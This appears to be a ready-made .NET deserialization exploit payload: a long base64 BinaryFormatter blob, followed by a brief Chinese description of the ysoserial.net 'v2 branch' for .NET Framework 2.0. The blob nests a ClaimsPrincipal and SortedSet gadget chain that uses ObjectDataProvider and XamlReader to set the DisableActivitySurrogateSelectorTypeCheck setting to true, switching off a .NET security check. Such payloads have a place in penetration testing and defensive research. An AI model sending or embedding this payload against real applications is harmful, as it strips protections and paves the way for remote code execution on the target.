AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VTI5eWRHVmtVMlYwWURGYlcxTjVjM1JsYlM1VGRISnBibWNzYlhOamIzSnNhV0pkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSVNWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrTnZiWEJoY21semIyNURiMjF3WVhKbGNtQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxHMXpZMjl5YkdsaVhWMElBZ0FBQUFJQUFBQUpBd0FBQUFJQUFBQUpCQUFBQUFRREFBQUFTVk41YzNSbGJTNURiMnhzWldOMGFXOXVjeTVIWlc1bGNtbGpMa052YlhCaGNtbHpiMjVEYjIxd1lYSmxjbUF4VzF0VGVYTjBaVzB1VTNSeWFXNW5MRzF6WTI5eWJHbGlYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQUFHQndBQUFQMExQRkpsYzI5MWNtTmxSR2xqZEdsdmJtRnllU0I0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenBoUFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJZ2VHMXNibk02WWowaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlJSGh0Ykc1ek9tTTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtOdmJtWnBaM1Z5WVhScGIyNDdZWE56WlcxaWJIazlVM2x6ZEdWdExrTnZibVpwWjNWeVlYUnBiMjRpSUhodGJHNXpPbVE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExsSmxabXhsWTNScGIyNDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnWVRwTFpYazlJblI1Y0dVaUlFOWlhbVZqZEZSNWNHVTlJbnRoT2xSNWNHVWdZanBVZVhCbGZTSWdUV1YwYUc5a1RtRnRaVDBpUjJWMFZIbHdaU0krUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1TlpYUm9iMlJRWVhKaGJXVjBaWEp6UGp4aU9sTjBjbWx1Wno1VGVYTjBaVzB1VjI5eWEyWnNiM2N1UTI5dGNHOXVaVzUwVFc5a1pXd3VRWEJ3VTJWMGRHbHVaM01zVTNsemRHVnRMbGR2Y210bWJHOTNMa052YlhCdmJtVnVkRTF2WkdWc0xGWmxjbk5wYjI0OU5DNHdMakF1TUN4RGRXeDBkWEpsUFc1bGRYUnlZV3dzVUhWaWJHbGpTMlY1Vkc5clpXNDlNekZpWmpNNE5UWmhaRE0yTkdVek5Ud3ZZanBUZEhKcGJtYytQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKbWFXVnNaQ0lnVDJKcVpXTjBTVzV6ZEdGdVkyVTlJbnRUZEdGMGFXTlNaWE52ZFhKalpTQjBlWEJsZlNJZ1RXVjBhRzlrVG1GdFpUMGlSMlYwUm1sbGJHUWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4WWpwVGRISnBibWMrWkdsellXSnNaVUZqZEdsMmFYUjVVM1Z5Y205bllYUmxVMlZzWldOMGIzSlVlWEJsUTJobFkyczhMMkk2VTNSeWFXNW5QanhrT2tKcGJtUnBibWRHYkdGbmN6NDBNRHd2WkRwQ2FXNWthVzVuUm14aFozTStQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKelpYUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdVM1JoZEdsalVtVnpiM1Z5WTJVZ1ptbGxiR1I5SWlCTlpYUm9iMlJPWVcxbFBTSlRaWFJXWVd4MVpTSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2s5aWFtVmpkQzgrUEdJNlFtOXZiR1ZoYmo1MGNuVmxQQzlpT2tKdmIyeGxZVzQrUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVRXVjBhRzlrVUdGeVlXMWxkR1Z5Y3o0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNDhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJR0U2UzJWNVBTSnpaWFJOWlhSb2IyUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdZVHBUZEdGMGFXTWdZenBEYjI1bWFXZDFjbUYwYVc5dVRXRnVZV2RsY2k1QmNIQlRaWFIwYVc1bmMzMGlJRTFsZEdodlpFNWhiV1U5SWxObGRDSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2xOMGNtbHVaejV0YVdOeWIzTnZablE2VjI5eWEyWnNiM2REYjIxd2IyNWxiblJOYjJSbGJEcEVhWE5oWW14bFFXTjBhWFpwZEhsVGRYSnliMmRoZEdWVFpXeGxZM1J2Y2xSNWNHVkRhR1ZqYXp3dllqcFRkSEpwYm1jK1BHSTZVM1J5YVc1blBuUnlkV1U4TDJJNlUzUnlhVzVuUGp3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrMWxkR2h2WkZCaGNtRnRaWFJsY25NK1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStQQzlTWlhOdmRYSmpaVVJwWTNScGIyNWhjbmsrQkFVQUFBQWlVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNnTUFBQUFJUkdWc1pXZGhkR1VIYldWMGFHOWtNQWR0WlhSb2IyUXhBd01ETUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVTOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaTlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2drSUFBQUFDUWtBQUFBSkNnQUFBQVFJQUFBQU1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUWNBQUFBRWRIbHdaUWhoYzNObGJXSnNlUVowWVhKblpYUVNkR0Z5WjJWMFZIbHdaVUZ6YzJWdFlteDVEblJoY21kbGRGUjVjR1ZPWVcxbENtMWxkR2h2WkU1aGJXVU5aR1ZzWldkaGRHVkZiblJ5ZVFFQkFnRUJBUU13VTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaXRFWld4bFoyRjBaVVZ1ZEhKNUJnc0FBQUF1VTNsemRHVnRMa1oxYm1OZ01sdGJVM2x6ZEdWdExsTjBjbWx1WjEwc1cxTjVjM1JsYlM1UFltcGxZM1JkWFFZTUFBQUFDRzF6WTI5eWJHbGlDZ1lOQUFBQVZWQnlaWE5sYm5SaGRHbHZia1p5WVcxbGQyOXlheXhXWlhKemFXOXVQVFF1TUM0d0xqQXNRM1ZzZEhWeVpUMXVaWFYwY21Gc0xGQjFZbXhwWTB0bGVWUnZhMlZ1UFRNeFltWXpPRFUyWVdRek5qUmxNelVHRGdBQUFDQlRlWE4wWlcwdVYybHVaRzkzY3k1TllYSnJkWEF1V0dGdGJGSmxZV1JsY2dZUEFBQUFCVkJoY25ObENSQUFBQUFFQ1FBQUFDOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ1lBQUFBRVRtRnRaUXhCYzNObGJXSnNlVTVoYldVSlEyeGhjM05PWVcxbENWTnBaMjVoZEhWeVpRcE5aVzFpWlhKVWVYQmxFRWRsYm1WeWFXTkJjbWQxYldWdWRITUJBUUVCQUFNSURWTjVjM1JsYlM1VWVYQmxXMTBKRHdBQUFBa05BQUFBQ1E0QUFBQUdGQUFBQUNKVGVYTjBaVzB1VDJKcVpXTjBJRkJoY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw==
v2 分支
v2 分支是 ysoserial.net (2018 年 3 月 15 日) 的副本,已由irsdl更改为与 .NET Framework 2.0 配合使用。虽然此项目可以与使用 .NET Framework v2.0 的应用程序一起使用,但它还需要在目标框上安装 .NET Framework 3.5,因为小工具依赖于它。如果将来在 .NET Framework 2.0 中发现新的小工具,则此问题将得到解决。